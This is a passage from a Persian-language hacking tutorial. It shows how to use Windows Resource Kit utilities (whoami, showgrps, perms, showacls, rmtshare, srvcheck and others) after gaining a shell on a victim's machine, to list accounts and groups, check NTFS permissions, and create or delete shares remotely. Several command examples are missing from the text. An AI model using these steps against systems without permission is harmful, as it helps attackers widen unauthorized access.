فرض کنید که به طریقی یک shell در کامپیوتر قربانی بدست آوردهایم. حالا میخواهیم ببینیم که دسترسی ما در چه حدی است ( بهعبارت درستتر با چه اکانتی login شدهایم ). بدین منظور از این نرمافزار استفاده می کنیم. whoami باید به صورت لوکال روی قربانی اجرا شود. یعنی باید این فایل رو به کامپیوتر هدف ارسال کرده و همونجا اجرا کنیم. مینویسیم:
و مثلا جواب میشنویم:
[Group 1] = "Everyone"
[Group 2] = "LOCAL"
[Group 3] = "IUSR_xxxx-yyyy"
,...
در این حالت، بالاترین اکانتی ( از نظر سطح اختیارات ) که لیست شود، اکانتی است که ما با اون بالا اومدیم.
۸-
local :
همونطور که در بالا گفتم، توسط دستور net localgroup میتونیم لیستی از اکانتهای مربوط به یک گروه رو بدست بیاریم. ولی آن دستور باید به صورت local اجرا میشد تا جواب میداد. اگه بخوایم به صورت remote همینکار رو انجام بدیم، باید از ابزار
local.exe استفاده کنیم. مثلا اگه session مربوط به netbios رو تشکیل داده باشم و بخوام بدونم در گروه محلی Administrators چه اکانتهایی هست، مینویسم:
local Administrators \xxx.xxx.xxx.xxx
۹-
showgrps :
ابزار بسیار خوبی است که باید به صورت لوکال استفاده شود. میشه گفت که یهجورایی تکمیل whoami است. به کمک این ابزار میتونیم هم کشف کنیم که اکانتی که باهاش وارد شدیم عضو چه گروههای محلی است ( واینکه اسم اکانت ما چیست ) و هم اینکه همین اطلاعات رو راجع به هر اکانتی از سیستم که بخوایم بدست بیاریم.
برای اینکه بدونم اکانتی که الان باهاش بالا اومدم اسمش چیست و در چه گروههایی عضو است، مینویسم:
و جواب میشنوم:
User: [computer-nameAdministrator], is a member of:
computer-nameAdministrators
Everyone
مشخص میشه که اسم اکانت: Administrator است که در دو گروه Administrators و Everyone عضو است.
حالا اگه بخوام بدونم که اکانتی به اسم guest در چه گروههای محلی شرکت دارد، مینویسم:
و جواب میشنوم:
User: [[computer-nameguest], is a member of:
Everyone
[computer-nameGuests
وقتی میخواهیم بدونیم که فلان اکانت متعلق به چه گروههایی است، اینکار توسط دستور net user هم قابل انجام است ( در بالا بحث شد). ولی اگه بخوایم بدونیم که خودمون با چه اکانتی بالا اومدیم، اینکار با net user قابل انجام نیست.
۱۰-
showmbrs :
در کاربردی که فعلا مد نظر ماست، این ابزار همان کار دستور net localgroups رو انجام میده. یعنی برخلاف ابزار local.exe ، این ابزار باید به صورت محلی و لوکال استفاده بشه. کاربردش هم که واضحه و میگه که در فلان گروه محلی، چه اکانتهایی هست. مثلا اگه بخوام بدونم در گروه Administrators چه اکانتهایی هست ( یعنی چه اکانتهایی دسترسی به سیستم در سطح Admin رو دارند) مینویسم:
ث- ابزارهای بررسی مجوزهای NTFS:۱۱-
perms :
یک ابزار فوقالعاده و حلال مشکلات! اول کار هم بگم که باید به صورت لوکال استعمال بشه!! فرض کنید که شما با یک اکانت به سیستم وارد شدهاید و حالا میخواهید ببینید که اولا: آیا یک درایو خاص به صورت FAT32 پارتیشنبندی شده است یا NTFS ( این نکته مهمی است زیرا اگه FAT32 باشه، دیگه کار ما بسیار راحت خواهد بود چون مجوزی در کار نیست ) و ثانیا: اگه به صورت NTFS است، فلان فولدر برای فلان یوزر در چه حدی قابل دسترس است ( یعنی اینکه برای فلان یوزر، فلان فولدر چه مجوزی دارد).
اولا: آیا مثلا درایو C به صورت NTFS ست شده است یا FAT32 ؟ برای این منظور اسم یک اکانت از گروه Admin ( مثلا Administrator ) رو انتخاب میکنم و حالا دستور زیر رو اجرا میکنم:
اگه جواب زیر رو بشنوم، یعنی FAT32 است:
اگر هر جواب دیگهای میاومد، میشد: NTFS
ثانیا: فرض کنید که حالا مثلا درایو D به صورت NTFS باشد و من هم مثلا با اکانت Guest وارد شدهام. میخواهم ببینم مثلا فولدر wwwroot که در این درایو هست، چه حد در دسترس من از نظر مجوزهای NTFS است؟ مینویسم:
و مثلا جواب میشنوم:
d:wwwroot perms: No Access
این یعنی هیچ دسترسی به اون برای اکانت guest وجود ندارد. اگه میاومد:
d:wwwroot perms: #RWXDPOA
باید عبارت RWXDPOA# تفسیر بشه. هر کدام از این حرفها این معنی رو میده:
R Read
W Write
X Execute
D Delete
P Change Permissions
O Take Ownership
A General All
- No Access
* The specified user is the owner of the file or directory.
# A group the user is a member of owns the file or directory.
? The user's access permisssions can not be determined.
با این تفاسیر میتونید ببینید که مثلا اکانت guest چه مجوزهایی داره. کافی است تک تک خروف رو با جدول بالا تطبیق بدید. مثلا در مثال بالا هم اجازه Read هست ( چون حرف R داریم ) و ...
۱۲-
showacls :
اول ACL یا Access Control List قابلیتی است که NTFS استفاده میکند تا مجوزها رو تنظیم کند. ثانیا ACE یا Access Control Entries اظلاعاتی است که مجوز رو کنترل میکنه تا اکانتهای خاص فقط مجوزهای خاص برای کار با فولدر خاصی بگیرند.
این ابزار یه چیزی تو مایههای همون perms.exe است که گفتم ولی با این تفاوت که وقتی یه درایو یا یک فولدر رو مشخص میکنم، میتونم تنظیم کنم که تمام زیرشاخههای اون رو هم از نظر مجوزها بررسی بکنه. مثلا اگه بخوام فولدر j:wwwroot رو از نظر مجوزها برای مثلا guest چک کنم، مینویسم:
showacls /s /u:guest j:wwwroot
کلید s/ مشخص میکنه که زیرشاخهها رو هم میخوام تست کنم. اگه اونو حذف کنم، فقط مجوزهای فولدر مشخص شده بیان خواهد شد. حالا اگه جواب بیاد:
Error: Volume type incorrect [FAT32]
یعنی که اون درایو به صورت FAT32 فرمت شده پس بررسی مجوزها محلی از اعراب نداره! ولی اگه NTFS باشه مثلا میاد:
User: [guest]
has the following access to directory [j:wwwroot]:
j:wwwroot
j:wwwroot
j:wwwrootali
NT AUTHORITYSYSTEM Read [RX]
Everyone Read [RX]
NT AUTHORITYSYSTEM Read [RX]
CREATOR GROUP Read [RX]
BUILTINAdministrators Change [RWXD]
CREATOR OWNER Change [RWXD]
,...
دقت کنید که فولدر خیلی پر زیرشاخه رو انتخاب نکنید که جوابها بقدری زیاد میشه که حتی نمیتونید بخونید. برای تفسیر از جدول زیر استفاده کنید:
R GENERIC_READ
W GENERIC_WRITE
X GENERIC_EXECUTE )
D DELETE
A GENERIC_ALL
d FILE_READ_DATA (directory)
l FILE_READ_DATA (file)
s SYNCHRONIZE
r FILE_READ_DATA
w FILE_WRITE_DATA
a FILE_APPEND_DATA
rE FILE_READ_EA
wE FILE_WRITE_EA
fx FILE_EXECUTE
ج- ابزارهای کار با share ها :۱۳-
rmtshare :
فرض کنید که یک session از netbios با اکانتی با سطح Admin ایجاد کردهایم. در این حالت به کمک این ابزار میتونیم به صورت remote مجموعه share ها رو روی سیستم قربانی کنترل کنیم. مثلا یک share اضافه کنیم یا یک share رو پاک کنیم. مثلا اگه بخوام در کامپیوتر قربانی، فولدر c:info رو واسه اکانتی به اسم guest به صورت فقط خواندنی ( یعنی فقط Read ) بیام و share کنم و این share به اسم mydata باشه، باید بنویسم:
rmtshare \xxx.xxx.xxx.xxxmydata=c:info /GRANT guest:read
اگه میخواستم بهجای فقط خواندنی، اجازه تغییر هم صادر کنم، بجای read میشد: Change حالا میخوام همین share رو پاک کنم. مینویسم:
rmtshare \xxx.xxx.xxx.xxxmydata /DELETE
۱۴-
netwatch :
یک ابزار گرافیکی است که کار با share ها و مدیریت اونها رو راحت میکنه. خیلی کار باهاش سادهاست و نیازی به توضیح نداره.
۱۵-
netcmd :
فرض کنید که شما الان یک netbios session با قربانی تشکیل دادهاید. اگه یادتون باشه میتونستیم به کمک net use یک رایو مجازی برای کار با اون ایجاد کنیم. همین کار رو میشه با این ابزار انجام داد. مثلا اگه اسم share باشه: Araz مینویسیم:
netcmd \xxx.xxx.xxx.xxxAraz
۱۶-
srvcheck :
این ابزار به ما کمک میکند که ببینیم که روی سرور چه share هایی هست و چه کسانی به اون دسترسی دارند. کاربرد دستور و تفسیر نتایج بسیار ساده است، مینویسیم:
srvcheck \xxx.xxx.xxx.xxx
دقت کنید که بهصورت remote کار میکنیم و نیاز به یک netbios session داریم.